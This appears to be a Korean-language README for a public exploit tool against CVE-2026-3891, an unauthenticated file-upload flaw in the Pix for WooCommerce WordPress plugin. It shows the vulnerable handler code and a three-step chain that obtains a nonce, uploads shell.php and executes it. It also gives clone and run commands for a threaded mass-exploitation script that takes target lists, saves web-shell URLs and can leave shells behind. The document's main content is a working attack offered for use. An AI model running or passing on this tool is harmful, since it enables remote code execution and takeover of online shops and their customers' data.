
Pix for WooCommerce의 certificate_crt_path 매개변수를 통한 인증되지 않은 파일 업로드 | CVSS 9.8
CVE-2026-3891은 linknacional의 Pix for WooCommerce WordPress 플러그인 버전 ≤ 1.5.0에서 발생하는 치명적 심각도(CVSS 9.8)의 인증되지 않은 임의 파일 업로드 취약점입니다.
lkn_pix_for_woocommerce_c6_save_settings AJAX 핸들러에는 다음과 같은 문제가 있습니다:
certificate_crt_path 매개변수를 통해 모든 파일 확장자가 허용됩니다lkn_pix_for_woocommerce_generate_nonce 엔드포인트를 통해 자유롭게 획득할 수 있습니다업로드된 파일은 웹에서 접근 가능한 디렉터리인 /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/에 저장됩니다.
| Version | Status |
|---|---|
| ≤ 1.5.0 | 취약 |
| 1.6.0+ | 패치됨 |
발견자: Alexis Lafontaine (Wordfence 경유, 2026년 3월 13일)
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
// No current_user_can() check
// No wp_check_filetype() call
move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
→ Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
→ Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
→ RCE
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup
-t, --target Single target
-f, --file Target list
-o, --output Save RCE URLs
--threads Workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every request
-v, --verbose Verbose output
교육 및 승인된 테스트 목적으로만 사용하십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
| 리소스 | 링크 |
|---|---|
| Wordfence 권고 | wordfence.com |
| NVD 항목 | CVE-2026-3891 |
| 연구자 | Alexis Lafontaine |
linknacional 또는 Pix for WooCommerce와 제휴하지 않았습니다.